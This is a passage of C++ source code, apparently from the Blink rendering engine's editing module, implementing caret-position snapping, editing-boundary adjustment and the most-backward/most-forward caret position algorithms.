DCHECK(!position.GetDocument()->NeedsLayoutTreeUpdate());\n\n  const PositionTemplate<Strategy>& candidate1 =\n      MostBackwardCaretPosition(position);\n  if (IsVisuallyEquivalentCandidate(candidate1)) {\n    return PositionWithAffinityTemplate<Strategy>(candidate1,\n                                                  TextAffinity::kUpstream);\n  }\n\n  const PositionTemplate<Strategy>& candidate2 =\n      MostForwardCaretPosition(position);\n  if (IsVisuallyEquivalentCandidate(candidate2)) {\n    return PositionWithAffinityTemplate<Strategy>(candidate2,\n                                                  TextAffinity::kDownstream);\n  }\n\n  return PositionWithAffinityTemplate<Strategy>(SnapFallbackTemplate(position),\n                                                TextAffinity::kDownstream);\n}\n\nPositionWithAffinity SnapBackward(const Position& position) {\n  return SnapBackwardTemplate(position);\n}\n\nPositionInFlatTreeWithAffinity SnapBackward(\n    const PositionInFlatTree& position) {\n  return SnapBackwardTemplate(position);\n}\n\ntemplate <typename Strategy>\nstatic PositionWithAffinityTemplate<Strategy> SnapForwardTemplate(\n    const PositionTemplate<Strategy>& position) {\n  // Sometimes updating selection positions can be extremely expensive and\n  // occur frequently.  Often calling preventDefault on mousedown events can\n  // avoid doing unnecessary text selection work.  http://crbug.com/472258.\n  TRACE_EVENT0(\"input\", \"VisibleUnits::SnapForward\");\n\n  if (position.IsNull())\n    return PositionWithAffinityTemplate<Strategy>();\n\n  DCHECK(position.GetDocument());\n  DCHECK(!position.GetDocument()->NeedsLayoutTreeUpdate());\n\n  const PositionTemplate<Strategy>& candidate1 =\n      MostForwardCaretPosition(position);\n  if (IsVisuallyEquivalentCandidate(candidate1)) {\n    return PositionWithAffinityTemplate<Strategy>(candidate1,\n                                                  TextAffinity::kDownstream);\n  }\n\n  const PositionTemplate<Strategy>& candidate2 =\n      MostBackwardCaretPosition(position);\n  if (IsVisuallyEquivalentCandidate(candidate2)) {\n    return PositionWithAffinityTemplate<Strategy>(candidate2,\n                                                  TextAffinity::kDownstream);\n  }\n\n  return PositionWithAffinityTemplate<Strategy>(SnapFallbackTemplate(position),\n                                                TextAffinity::kDownstream);\n}\n\nPositionWithAffinity SnapForward(const Position& position) {\n  return SnapForwardTemplate(position);\n}\n\nPositionInFlatTreeWithAffinity SnapForward(const PositionInFlatTree& position) {\n  return SnapForwardTemplate(position);\n}\n\nPosition CanonicalPositionOf(const Position& position) {\n  return SnapBackward(position).GetPosition();\n}\n\nPositionInFlatTree CanonicalPositionOf(const PositionInFlatTree& position) {\n  return SnapBackward(position).GetPosition();\n}\n\ntemplate <typename Strategy>\nstatic PositionWithAffinityTemplate<Strategy>\nAdjustBackwardPositionToAvoidCrossingEditingBoundariesTemplate(\n    const PositionWithAffinityTemplate<Strategy>& pos,\n    const PositionTemplate<Strategy>& anchor) {\n  if (pos.IsNull())\n    return pos;\n\n  ContainerNode* highest_root = HighestEditableRoot(anchor);\n\n  // Return empty position if |pos| is not somewhere inside the editable\n  // region containing this position\n  if (highest_root && !pos.AnchorNode()->IsDescendantOf(highest_root))\n    return PositionWithAffinityTemplate<Strategy>();\n\n  // Return |pos| itself if the two are from the very same editable region, or\n  // both are non-editable\n  // TODO(yosin) In the non-editable case, just because the new position is\n  // non-editable doesn't mean movement to it is allowed.\n  // |VisibleSelection::adjustForEditableContent()| has this problem too.\n  if (HighestEditableRoot(pos.GetPosition()) == highest_root)\n    return pos;\n\n  // Return empty position if this position is non-editable, but |pos| is\n  // editable.\n  // TODO(yosin) Move to the previous non-editable region.\n  if (!highest_root)\n    return PositionWithAffinityTemplate<Strategy>();\n\n  // Return the last position before |pos| that is in the same editable region\n  // as this position\n  return PositionWithAffinityTemplate<Strategy>(\n      LastEditablePositionBeforePositionInRoot(pos.GetPosition(),\n                                               *highest_root));\n}\n\nPositionWithAffinity AdjustBackwardPositionToAvoidCrossingEditingBoundaries(\n    const PositionWithAffinity& pos,\n    const Position& anchor) {\n  return AdjustBackwardPositionToAvoidCrossingEditingBoundariesTemplate(pos,\n                                                                        anchor);\n}\n\nPositionInFlatTreeWithAffinity\nAdjustBackwardPositionToAvoidCrossingEditingBoundaries(\n    const PositionInFlatTreeWithAffinity& pos,\n    const PositionInFlatTree& anchor) {\n  return AdjustBackwardPositionToAvoidCrossingEditingBoundariesTemplate(pos,\n                                                                        anchor);\n}\n\ntemplate <typename Strategy>\nstatic PositionWithAffinityTemplate<Strategy>\nAdjustForwardPositionToAvoidCrossingEditingBoundariesTemplate(\n    const PositionWithAffinityTemplate<Strategy>& pos,\n    const PositionTemplate<Strategy>& anchor) {\n  if (pos.IsNull())\n    return pos;\n\n  ContainerNode* highest_root = HighestEditableRoot(anchor);\n\n  // Return empty position if |pos| is not somewhere inside the editable\n  // region containing this position\n  if (highest_root && !pos.AnchorNode()->IsDescendantOf(highest_root))\n    return PositionWithAffinityTemplate<Strategy>();\n\n  // Return |pos| itself if the two are from the very same editable region, or\n  // both are non-editable\n  // TODO(yosin) In the non-editable case, just because the new position is\n  // non-editable doesn't mean movement to it is allowed.\n  // |VisibleSelection::adjustForEditableContent()| has this problem too.\n  if (HighestEditableRoot(pos.GetPosition()) == highest_root)\n    return pos;\n\n  // Returns the last position in the highest non-editable ancestor of |anchor|.\n  if (!highest_root) {\n    const Node* last_non_editable = anchor.ComputeContainerNode();\n    for (const Node& ancestor : Strategy::AncestorsOf(*last_non_editable)) {\n      if (HasEditableStyle(ancestor)) {\n        return PositionWithAffinityTemplate<Strategy>(\n            PositionTemplate<Strategy>::LastPositionInNode(*last_non_editable));\n      }\n      last_non_editable = &ancestor;\n    }\n    return PositionWithAffinityTemplate<Strategy>();\n  }\n\n  // Return the next position after |pos| that is in the same editable region\n  // as this position\n  return PositionWithAffinityTemplate<Strategy>(\n      FirstEditablePositionAfterPositionInRoot(pos.GetPosition(),\n                                               *highest_root));\n}\n\nPositionWithAffinity AdjustForwardPositionToAvoidCrossingEditingBoundaries(\n    const PositionWithAffinity& pos,\n    const Position& anchor) {\n  return AdjustForwardPositionToAvoidCrossingEditingBoundariesTemplate(pos,\n                                                                       anchor);\n}\n\nPositionInFlatTreeWithAffinity\nAdjustForwardPositionToAvoidCrossingEditingBoundaries(\n    const PositionInFlatTreeWithAffinity& pos,\n    const PositionInFlatTree& anchor) {\n  return AdjustForwardPositionToAvoidCrossingEditingBoundariesTemplate(\n      PositionInFlatTreeWithAffinity(pos), anchor);\n}\n\ntemplate <typename Strategy>\nstatic ContainerNode* NonShadowBoundaryParentNode(Node* node) {\n  ContainerNode* parent = Strategy::Parent(*node);\n  return parent && !parent->IsShadowRoot() ? parent : nullptr;\n}\n\ntemplate <typename Strategy>\nstatic Node* ParentEditingBoundary(const PositionTemplate<Strategy>& position) {\n  Node* const anchor_node = position.AnchorNode();\n  if (!anchor_node)\n    return nullptr;\n\n  Node* document_element = anchor_node->GetDocument().documentElement();\n  if (!document_element)\n    return nullptr;\n\n  Node* boundary = position.ComputeContainerNode();\n  while (boundary != document_element &&\n         NonShadowBoundaryParentNode<Strategy>(boundary) &&\n         HasEditableStyle(*anchor_node) ==\n             HasEditableStyle(*Strategy::Parent(*boundary)))\n    boundary = NonShadowBoundaryParentNode<Strategy>(boundary);\n\n  return boundary;\n}\n\n// ---------\n\ntemplate <typename Strategy>\nstatic PositionTemplate<Strategy> StartOfDocumentAlgorithm(\n    const PositionTemplate<Strategy>& position) {\n  const Node* const node = position.AnchorNode();\n  if (!node || !node->GetDocument().documentElement())\n    return PositionTemplate<Strategy>();\n\n  return PositionTemplate<Strategy>::FirstPositionInNode(\n      *node->GetDocument().documentElement());\n}\n\nPosition StartOfDocument(const Position& c) {\n  return StartOfDocumentAlgorithm<EditingStrategy>(c);\n}\n\nPositionInFlatTree StartOfDocument(const PositionInFlatTree& c) {\n  return StartOfDocumentAlgorithm<EditingInFlatTreeStrategy>(c);\n}\n\ntemplate <typename Strategy>\nstatic VisiblePositionTemplate<Strategy> EndOfDocumentAlgorithm(\n    const VisiblePositionTemplate<Strategy>& visible_position) {\n  DCHECK(visible_position.IsValid()) << visible_position;\n  Node* node = visible_position.DeepEquivalent().AnchorNode();\n  if (!node || !node->GetDocument().documentElement())\n    return VisiblePositionTemplate<Strategy>();\n\n  Element* doc = node->GetDocument().documentElement();\n  return CreateVisiblePosition(\n      PositionTemplate<Strategy>::LastPositionInNode(*doc));\n}\n\nVisiblePosition EndOfDocument(const VisiblePosition& c) {\n  return EndOfDocumentAlgorithm<EditingStrategy>(c);\n}\n\nVisiblePositionInFlatTree EndOfDocument(const VisiblePositionInFlatTree& c) {\n  return EndOfDocumentAlgorithm<EditingInFlatTreeStrategy>(c);\n}\n\nbool IsStartOfDocument(const VisiblePosition& p) {\n  DCHECK(p.IsValid()) << p;\n  return p.IsNotNull() &&\n         PreviousPositionOf(p, kCanCrossEditingBoundary).IsNull();\n}\n\nbool IsEndOfDocument(const VisiblePosition& p) {\n  DCHECK(p.IsValid()) << p;\n  return p.IsNotNull() && NextPositionOf(p, kCanCrossEditingBoundary).IsNull();\n}\n\n// ---------\n\nPositionInFlatTree StartOfEditableContent(const PositionInFlatTree& position) {\n  ContainerNode* highest_root = HighestEditableRoot(position);\n  if (!highest_root)\n    return PositionInFlatTree();\n\n  return PositionInFlatTree::FirstPositionInNode(*highest_root);\n}\n\nPositionInFlatTree EndOfEditableContent(const PositionInFlatTree& position) {\n  ContainerNode* highest_root = HighestEditableRoot(position);\n  if (!highest_root)\n    return PositionInFlatTree();\n\n  return PositionInFlatTree::LastPositionInNode(*highest_root);\n}\n\nbool IsEndOfEditableOrNonEditableContent(const VisiblePosition& position) {\n  DCHECK(position.IsValid()) << position;\n  return position.IsNotNull() && NextPositionOf(position).IsNull();\n}\n\n// TODO(yosin) We should rename |isEndOfEditableOrNonEditableContent()| what\n// this function does, e.g. |isLastVisiblePositionOrEndOfInnerEditor()|.\nbool IsEndOfEditableOrNonEditableContent(\n    const VisiblePositionInFlatTree& position) {\n  DCHECK(position.IsValid()) << position;\n  if (position.IsNull())\n    return false;\n  const VisiblePositionInFlatTree next_position = NextPositionOf(position);\n  if (next_position.IsNull())\n    return true;\n  // In DOM version, following condition, the last position of inner editor\n  // of INPUT/TEXTAREA element, by |nextPosition().isNull()|, because of\n  // an inner editor is an only leaf node.\n  if (!next_position.DeepEquivalent().IsAfterAnchor())\n    return false;\n  return IsTextControl(next_position.DeepEquivalent().AnchorNode());\n}\n\nstatic LayoutUnit BoundingBoxLogicalHeight(LayoutObject* o,\n                                           const LayoutRect& rect) {\n  return o->Style()->IsHorizontalWritingMode() ? rect.Height() : rect.Width();\n}\n\n// TODO(editing-dev): The semantics seems wrong when we're in a one-letter block\n// with first-letter style, e.g., <div>F</div>, where the letter is laid-out in\n// an anonymous first-letter LayoutTextFragment instead of the LayoutObject of\n// the text node. It seems weird to return false in this case.\nbool HasRenderedNonAnonymousDescendantsWithHeight(\n    const LayoutObject* layout_object) {\n  if (DisplayLockUtilities::NearestLockedInclusiveAncestor(*layout_object))\n    return false;\n  if (auto* block_flow = DynamicTo<LayoutBlockFlow>(layout_object)) {\n    // Returns false for empty content editable, e.g.\n    //  - <div contenteditable></div>\n    //  - <div contenteditable><span></span></div>\n    // Note: tests[1][2] require this.\n    // [1] editing/style/underline.html\n    // [2] editing/inserting/return-with-object-element.html\n    if (block_flow->HasNGInlineNodeData() &&\n        block_flow->GetNGInlineNodeData()\n            ->ItemsData(false)\n            .text_content.IsEmpty() &&\n        block_flow->HasLineIfEmpty())\n      return false;\n  }\n  const LayoutObject* stop = layout_object->NextInPreOrderAfterChildren();\n  // TODO(editing-dev): Avoid single-character parameter names.\n  for (LayoutObject* o = layout_object->SlowFirstChild(); o && o != stop;\n       o = o->NextInPreOrder()) {\n    if (o->NonPseudoNode()) {\n      if ((o->IsText() && To<LayoutText>(o)->HasNonCollapsedText()) ||\n          (o->IsBox() && To<LayoutBox>(o)->PixelSnappedLogicalHeight()) ||\n          (o->IsLayoutInline() && IsEmptyInline(LineLayoutItem(o)) &&\n           // TODO(crbug.com/771398): Find alternative ways to check whether an\n           // empty LayoutInline is rendered, without checking InlineBox.\n           BoundingBoxLogicalHeight(\n               o,\n               To<LayoutInline>(o)->PhysicalLinesBoundingBox().ToLayoutRect())))\n        return true;\n    }\n  }\n  return false;\n}\n\nPositionWithAffinity PositionForContentsPointRespectingEditingBoundary(\n    const IntPoint& contents_point,\n    LocalFrame* frame) {\n  HitTestRequest request = HitTestRequest::kMove | HitTestRequest::kReadOnly |\n                           HitTestRequest::kActive |\n                           HitTestRequest::kIgnoreClipping |\n                           HitTestRequest::kRetargetForInert;\n  HitTestLocation location(contents_point);\n  HitTestResult result(request, location);\n  frame->GetDocument()->GetLayoutView()->HitTest(location, result);\n\n  if (result.InnerNode()) {\n    return PositionRespectingEditingBoundary(\n        frame->Selection().ComputeVisibleSelectionInDOMTreeDeprecated().Start(),\n        result);\n  }\n  return PositionWithAffinity();\n}\n\n// TODO(yosin): We should use |AssociatedLayoutObjectOf()| in \"visible_units.cc\"\n// where it takes |LayoutObject| from |Position|.\nint CaretMinOffset(const Node* node) {\n  const LayoutObject* layout_object = AssociatedLayoutObjectOf(*node, 0);\n  if (const LayoutText* layout_text = DynamicTo<LayoutText>(layout_object))\n    return layout_text->CaretMinOffset();\n  return 0;\n}\n\nint CaretMaxOffset(const Node* n) {\n  return EditingStrategy::CaretMaxOffset(*n);\n}\n\ntemplate <typename Strategy>\nstatic bool InRenderedText(const PositionTemplate<Strategy>& position) {\n  Node* const anchor_node = position.AnchorNode();\n  if (!anchor_node || !anchor_node->IsTextNode())\n    return false;\n\n  const int offset_in_node = position.ComputeEditingOffset();\n  const LayoutObject* layout_object =\n      AssociatedLayoutObjectOf(*anchor_node, offset_in_node);\n  if (!layout_object)\n    return false;\n\n  const auto* text_layout_object = To<LayoutText>(layout_object);\n  const int text_offset =\n      offset_in_node - text_layout_object->TextStartOffset();\n  if (!text_layout_object->ContainsCaretOffset(text_offset))\n    return false;\n  // Return false for offsets inside composed characters.\n  // TODO(editing-dev): Previous/NextGraphemeBoundaryOf() work on DOM offsets,\n  // So they should use |offset_in_node| instead of |text_offset|.\n  return text_offset == text_layout_object->CaretMinOffset() ||\n         text_offset == NextGraphemeBoundaryOf(*anchor_node,\n                                               PreviousGraphemeBoundaryOf(\n                                                   *anchor_node, text_offset));\n}\n\nbool RendersInDifferentPosition(const Position& position1,\n                                const Position& position2) {\n  if (position1.IsNull() || position2.IsNull())\n    return false;\n  const LocalCaretRect& caret_rect1 =\n      LocalCaretRectOfPosition(PositionWithAffinity(position1));\n  const LocalCaretRect& caret_rect2 =\n      LocalCaretRectOfPosition(PositionWithAffinity(position2));\n  if (!caret_rect1.layout_object || !caret_rect2.layout_object)\n    return caret_rect1.layout_object != caret_rect2.layout_object;\n  return LocalToAbsoluteQuadOf(caret_rect1) !=\n         LocalToAbsoluteQuadOf(caret_rect2);\n}\n\n// TODO(editing-dev): Share code with IsVisuallyEquivalentCandidate if possible.\nbool EndsOfNodeAreVisuallyDistinctPositions(const Node* node) {\n  if (!node)\n    return false;\n\n  LayoutObject* layout_object = node->GetLayoutObject();\n  if (!layout_object)\n    return false;\n\n  if (!layout_object->IsInline())\n    return true;\n\n  // Don't include inline tables.\n  if (IsA<HTMLTableElement>(*node))\n    return false;\n\n  // A Marquee elements are moving so we should assume their ends are always\n  // visibily distinct.\n  if (IsA<HTMLMarqueeElement>(*node))\n    return true;\n\n  // There is a VisiblePosition inside an empty inline-block container.\n  return layout_object->IsAtomicInlineLevel() &&\n         CanHaveChildrenForEditing(node) &&\n         !To<LayoutBox>(layout_object)->Size().IsEmpty() &&\n         !HasRenderedNonAnonymousDescendantsWithHeight(layout_object);\n}\n\ntemplate <typename Strategy>\nstatic Node* EnclosingVisualBoundary(Node* node) {\n  while (node && !EndsOfNodeAreVisuallyDistinctPositions(node))\n    node = Strategy::Parent(*node);\n\n  return node;\n}\n\n// upstream() and downstream() want to return positions that are either in a\n// text node or at just before a non-text node.  This method checks for that.\ntemplate <typename Strategy>\nstatic bool IsStreamer(const PositionIteratorAlgorithm<Strategy>& pos) {\n  if (!pos.GetNode())\n    return true;\n\n  if (IsAtomicNode(pos.GetNode()))\n    return true;\n\n  return pos.AtStartOfNode();\n}\n\ntemplate <typename F>\nstatic Position MostBackwardOrForwardCaretPosition(\n    const Position& position,\n    EditingBoundaryCrossingRule rule,\n    F AlgorithmInFlatTree) {\n  Node* position_anchor = position.AnchorNode();\n  if (!position_anchor)\n    return Position();\n  DCHECK(position.IsValidFor(*position.GetDocument()));\n\n  // Find the most backward or forward caret position in the flat tree.\n  const Position& candidate = ToPositionInDOMTree(\n      AlgorithmInFlatTree(ToPositionInFlatTree(position), rule));\n  Node* candidate_anchor = candidate.AnchorNode();\n  if (!candidate_anchor)\n    return candidate;\n\n  // Fast path for common cases when there is no shadow involved.\n  if (!position_anchor->IsInShadowTree() && !IsShadowHost(position_anchor) &&\n      !candidate_anchor->IsInShadowTree() && !IsShadowHost(candidate_anchor)) {\n    return candidate;\n  }\n\n  // Adjust the candidate to avoid crossing shadow boundaries.\n  const SelectionInDOMTree& selection =\n      SelectionInDOMTree::Builder()\n          .SetBaseAndExtent(position, candidate)\n          .Build();\n  if (selection.IsCaret())\n    return candidate;\n  const SelectionInDOMTree& shadow_adjusted_selection =\n      SelectionAdjuster::AdjustSelectionToAvoidCrossingShadowBoundaries(\n          selection);\n\n  // If we have to adjust the position, the editability may change, so avoid\n  // crossing editing boundaries if it's not allowed.\n  if (rule == kCannotCrossEditingBoundary &&\n      selection != shadow_adjusted_selection) {\n    const SelectionInDOMTree& editing_adjusted_selection =\n        SelectionAdjuster::AdjustSelectionToAvoidCrossingEditingBoundaries(\n            shadow_adjusted_selection);\n    return editing_adjusted_selection.Extent();\n  }\n  return shadow_adjusted_selection.Extent();\n}\n\ntemplate <typename Strategy>\nstatic PositionTemplate<Strategy> AdjustPositionForBackwardIteration(\n    const PositionTemplate<Strategy>& position) {\n  DCHECK(!position.IsNull());\n  if (!position.IsAfterAnchor())\n    return position;\n  if (IsUserSelectContain(*position.AnchorNode()))\n    return position.ToOffsetInAnchor();\n  return PositionTemplate<Strategy>::EditingPositionOf(\n      position.AnchorNode(), Strategy::CaretMaxOffset(*position.AnchorNode()));\n}\n\n// TODO(yosin): We should make |Most{Back,For}kwardCaretPosition()| to work for\n// positions other than |kOffsetInAnchor|. When we convert |position| to\n// |kOffsetInAnchor|, following tests are failed:\n//  * editing/execCommand/delete-non-editable-range-crash.html\n//  * editing/execCommand/keep_typing_style.html\n//  * editing/selection/skip-over-contenteditable.html\n// See also |AdjustForEditingBoundary()|. It has workaround for before/after\n// positions.\ntemplate <typename Strategy>\nstatic PositionTemplate<Strategy> MostBackwardCaretPosition(\n    const PositionTemplate<Strategy>& position,\n    EditingBoundaryCrossingRule rule) {\n  DCHECK(!NeedsLayoutTreeUpdate(position)) << position;\n  TRACE_EVENT0(\"input\", \"VisibleUnits::mostBackwardCaretPosition\");\n\n  Node* const start_node = position.AnchorNode();\n  if (!start_node)\n    return PositionTemplate<Strategy>();\n\n  // iterate backward from there, looking for a qualified position\n  Node* const boundary = EnclosingVisualBoundary<Strategy>(start_node);\n  // FIXME: PositionIterator should respect Before and After positions.\n  PositionIteratorAlgorithm<Strategy> last_visible(\n      AdjustPositionForBackwardIteration<Strategy>(position));\n  const bool start_editable = HasEditableStyle(*start_node);\n  Node* last_node = start_node;\n  bool boundary_crossed = false;\n  for (PositionIteratorAlgorithm<Strategy> current_pos = last_visible;\n       !current_pos.AtStart(); current_pos.Decrement()) {\n    Node* current_node = current_pos.GetNode();\n    // Don't check for an editability change if we haven't moved to a different\n    // node, to avoid the expense of computing hasEditableStyle().\n    if (current_node != last_node) {\n      // Don't change editability.\n      const bool current_editable = HasEditableStyle(*current_node);\n      if (start_editable != current_editable) {\n        if (rule == kCannotCrossEditingBoundary)\n          break;\n        boundary_crossed = true;\n      }\n      last_node = current_node;\n    }\n\n    // There is no caret position in non-text svg elements.\n    if (current_node->IsSVGElement() && !IsA<SVGTextElement>(current_node))\n      continue;\n\n    // If we've moved to a position that is visually distinct, return the last\n    // saved position. There is code below that terminates early if we're\n    // *about* to move to a visually distinct position.\n    if (EndsOfNodeAreVisuallyDistinctPositions(current_node) &&\n        current_node != boundary)\n      return last_visible.DeprecatedComputePosition();\n\n    // skip position in non-laid out or invisible node\n    const LayoutObject* const layout_object =\n        AssociatedLayoutObjectOf(*current_node, current_pos.OffsetInLeafNode(),\n                                 LayoutObjectSide::kFirstLetterIfOnBoundary);\n    if (!layout_object ||\n        layout_object->Style()->Visibility() != EVisibility::kVisible)\n      continue;\n\n    if (DisplayLockUtilities::NearestLockedExclusiveAncestor(*layout_object))\n      continue;\n\n    if (rule == kCanCrossEditingBoundary && boundary_crossed) {\n      last_visible = current_pos;\n      break;\n    }\n\n    // track last visible streamer position\n    if (IsStreamer<Strategy>(current_pos))\n      last_visible = current_pos;\n\n    // Don't move past a position that is visually distinct.  We could rely on\n    // code above to terminate and return lastVisible on the next iteration, but\n    // we terminate early to avoid doing a nodeIndex() call.\n    if (EndsOfNodeAreVisuallyDistinctPositions(current_node) &&\n        current_pos.AtStartOfNode())\n      return last_visible.DeprecatedComputePosition();\n\n    // Return position after tables and nodes which have content that can be\n    // ignored.\n    if (EditingIgnoresContent(*current_node) ||\n        IsDisplayInsideTable(current_node)) {\n      if (current_pos.AtEndOfNode())\n        return PositionTemplate<Strategy>::AfterNode(*current_node);\n      continue;\n    }\n\n    // return current position if it is in laid out text\n    if (!layout_object->IsText())\n      continue;\n    const auto* const text_layout_object = To<LayoutText>(layout_object);\n    if (!text_layout_object->HasNonCollapsedText())\n      continue;\n    const unsigned text_start_offset = text_layout_object->TextStartOffset();\n    if (current_node != start_node) {\n      // This assertion fires in web tests in the case-transform.html test\n      // because of a mix-up between offsets in the text in the DOM tree with\n      // text in the layout tree which can have a different length due to case\n      // transformation.\n      // Until we resolve that, disable this so we can run the web tests!\n      // DCHECK_GE(currentOffset, layoutObject->caretMaxOffset());\n      return PositionTemplate<Strategy>(\n          current_node,\n          text_layout_object->CaretMaxOffset() + text_start_offset);\n    }\n\n    DCHECK_GE(current_pos.OffsetInLeafNode(),\n              static_cast<int>(text_layout_object->TextStartOffset()));\n    if (text_layout_object->IsAfterNonCollapsedCharacter(\n            current_pos.OffsetInLeafNode() -\n            text_layout_object->TextStartOffset()))\n      return current_pos.ComputePosition();\n  }\n  return last_visible.DeprecatedComputePosition();\n}\n\nPosition MostBackwardCaretPosition(const Position& position,\n                                   EditingBoundaryCrossingRule rule) {\n  return MostBackwardOrForwardCaretPosition(\n      position, rule, MostBackwardCaretPosition<EditingInFlatTreeStrategy>);\n}\n\nPositionInFlatTree MostBackwardCaretPosition(const PositionInFlatTree& position,\n                                             EditingBoundaryCrossingRule rule) {\n  return MostBackwardCaretPosition<EditingInFlatTreeStrategy>(position, rule);\n}\n\nnamespace {\nbool HasInvisibleFirstLetter(const Node* node) {\n  if (!node || !node->IsTextNode())\n    return false;\n  const auto* remaining_text =\n      DynamicTo<LayoutTextFragment>(node->GetLayoutObject());\n  if (!remaining_text || !remaining_text->IsRemainingTextLayoutObject())\n    return false;\n  const auto* first_letter =\n      DynamicTo<LayoutTextFragment>(AssociatedLayoutObjectOf(*node, 0));\n  if (!first_letter || first_letter == remaining_text)\n    return false;\n  return first_letter->StyleRef().Visibility() != EVisibility::kVisible ||\n         DisplayLockUtilities::NearestLockedExclusiveAncestor(*first_letter);\n}\n}  // namespace\n\ntemplate <typename Strategy>\nPositionTemplate<Strategy> MostForwardCaretPosition(\n    const PositionTemplate<Strategy>& position,\n    EditingBoundaryCrossingRule rule) {\n  DCHECK(!NeedsLayoutTreeUpdate(position)) << position;\n  TRACE_EVENT0(\"input\", \"VisibleUnits::mostForwardCaretPosition\");\n\n  Node* const start_node = position.AnchorNode();\n  if (!start_node)\n    return PositionTemplate<Strategy>();\n\n  // iterate forward from there, looking for a qualified position\n  Node* const boundary = EnclosingVisualBoundary<Strategy>(start_node);\n  // FIXME: PositionIterator should respect Before and After positions.\n  PositionIteratorAlgorithm<Strategy> last_visible(\n      position.IsAfterAnchor()\n          ? PositionTemplate<Strategy>::EditingPositionOf(\n                position.AnchorNode(),\n                Strategy::CaretMaxOffset(*position.AnchorNode()))\n          : position);\n  const bool start_editable = HasEditableStyle(*start_node);\n  Node* last_node = start_node;\n  bool boundary_crossed = false;\n  for (PositionIteratorAlgorithm<Strategy> current_pos = last_visible;\n       !current_pos.AtEnd(); current_pos.Increment()) {\n    Node* current_node = current_pos.GetNode();\n    // Don't check for an editability change if we haven't moved to a different\n    // node, to avoid the expense of computing hasEditableStyle().\n    if (current_node != last_node) {\n      // Don't change editability.\n      const bool current_editable = HasEditableStyle(*current_node);\n      if (start_editable != current_editable) {\n        if (rule == kCannotCrossEditingBoundary)\n          break;\n        boundary_crossed = true;\n      }\n\n      last_node = current_node;\n    }\n\n    // stop before going above the body, up into the head\n    // return the last visible streamer position\n    if (IsA<HTMLBodyElement>(*current_node) && current_pos.AtEndOfNode())\n      break;\n\n    // There is no caret position in non-text svg elements.\n    if (current_node->IsSVGElement() && !IsA<SVGTextElement>(current_node))\n      continue;\n\n    // Do not move to a visually distinct position.\n    if (EndsOfNodeAreVisuallyDistinctPositions(current_node) &&\n        current_node != boundary)\n      return last_visible.DeprecatedComputePosition();\n    // Do not move past a visually disinct position.\n    // Note: The first position after the last in a node whose ends are visually\n    // distinct positions will be [boundary->parentNode(),\n    // originalBlock->nodeIndex() + 1].\n    if (boundary && Strategy::Parent(*boundary) == current_node)\n      return last_visible.DeprecatedComputePosition();\n\n    // skip position in non-laid out or invisible node\n    const LayoutObject* const layout_object =\n        AssociatedLayoutObjectOf(*current_node, current_pos.OffsetInLeafNode());\n    if (!layout_object ||\n        layout_object->Style()->Visibility() != EVisibility::kVisible)\n      continue;\n\n    if (DisplayLockUtilities::NearestLockedExclusiveAncestor(*layout_object))\n      continue;\n\n    if (rule == kCanCrossEditingBoundary && boundary_crossed)\n      return current_pos.DeprecatedComputePosition();\n\n    // track last visible streamer position\n    if (IsStreamer<Strategy>(current_pos))\n      last_visible = current_pos;\n\n    // Return position before tables and nodes which have content that can be\n    // ignored.\n    if (EditingIgnoresContent(*current_node) ||\n        IsDisplayInsideTable(current_node)) {\n      if (current_pos.OffsetInLeafNode() <= 0)\n        return PositionTemplate<Strategy>::EditingPositionOf(current_node, 0);\n      continue;\n    }\n\n    // return current position if it is in laid out text\n    if (!layout_object->IsText())\n      continue;\n    const auto* const text_layout_object = To<LayoutText>(layout_object);\n    if (!text_layout_object->HasNonCollapsedText())\n      continue;\n    const unsigned text_start_offset = text_layout_object->TextStartOffset();\n    if (current_node != start_node) {\n      DCHECK(current_pos.AtStartOfNode() ||\n             HasInvisibleFirstLetter(current_node));\n      return PositionTemplate<Strategy>(\n          current_node,\n          text_layout_object->CaretMinOffset() + text_start_offset);\n    }\n\n    DCHECK_GE(current_pos.OffsetInLeafNode(),\n              static_cast<int>(text_layout_object->TextStartOffset()));\n    if (text_layout_object->IsBeforeNonCollapsedCharacter(\n            current_pos.OffsetInLeafNode() -\n            text_layout_object->TextStartOffset()))\n      return current_pos.ComputePosition();\n  }\n  return last_visible.DeprecatedComputePosition();\n}\n\nPosition MostForwardCaretPosition(const Position& position,\n                                  EditingBoundaryCrossingRule rule) {\n  return MostBackwardOrForwardCaretPosition(\n      position, rule, MostForwardCaretPosition<EditingInFlatTreeStrategy>);\n}\n\nPositionInFlatTree MostForwardCaretPosition(const PositionInFlatTree& position,\n                                            EditingBoundaryCrossingRule rule) {\n  return MostForwardCaretPosition<EditingInFlatTreeStrategy>(position, rule);\n}\n\n// Returns true if the visually equivalent positions around have different\n// editability. A position is considered at editing boundary if one of the\n// following is true:\n// 1. It is the first position in the node and the next visually equivalent\n//    position is non editable.\n// 2. It is the last position in the node and the previous visually equivalent\n//    position is non editable.\n// 3. It is an editable position and both the next and previous visually\n//    equivalent positions are both non editable.\ntemplate <typename Strategy>\nstatic bool AtEditingBoundary(const PositionTemplate<Strategy> positions) {\n  PositionTemplate<Strategy> next_position =\n      MostForwardCaretPosition(positions, kCanCrossEditingBoundary);\n  if (positions.AtFirstEditingPositionForNode() && next_position.IsNotNull() &&\n      !HasEditableStyle(*next_position.AnchorNode()))\n    return true;\n\n  PositionTemplate<Strategy> prev_position =\n      MostBackwardCaretPosition(positions, kCanCrossEditingBoundary);\n  if (positions.AtLastEditingPositionForNode() && prev_position.IsNotNull() &&\n      !HasEditableStyle(*prev_position.AnchorNode()))\n    return true;\n\n  return next_position.IsNotNull() &&\n         !HasEditableStyle(*next_position.AnchorNode()) &&\n         prev_position.IsNotNull() &&\n         !HasEditableStyle(*prev_position.AnchorNode());\n}\n\ntemplate <typename Strategy>\nstatic bool IsVisuallyEquivalentCandidateAlgorithm(\n    const PositionTemplate<Strategy>& position) {\n  Node* const anchor_node = position.AnchorNode();\n  if (!anchor_node)\n    return false;\n\n  LayoutObject* layout_object = anchor_node->GetLayoutObject();\n  if (!layout_object)\n    return false;\n\n  if (layout_object->Style()->Visibility() != EVisibility::kVisible)\n    return false;\n\n  if (DisplayLockUtilities::NearestLockedExclusiveAncestor(*layout_object))\n    return false;\n\n  if (layout_object->IsBR()) {\n    // TODO(leviw) The condition should be\n    // anchor_type_ == PositionAnchorType::kBeforeAnchor, but for now we\n    // still need to support legacy positions.\n    if (position.IsAfterAnchor())\n      return false;\n    if (position.ComputeEditingOffset())\n      return false;\n    const Node* parent = Strategy::Parent(*anchor_node);\n    return parent->GetLayoutObject() &&\n           parent->GetLayoutObject()->IsSelectable();\n  }\n\n  if (layout_object->IsText())\n    return layout_object->IsSelectable() && 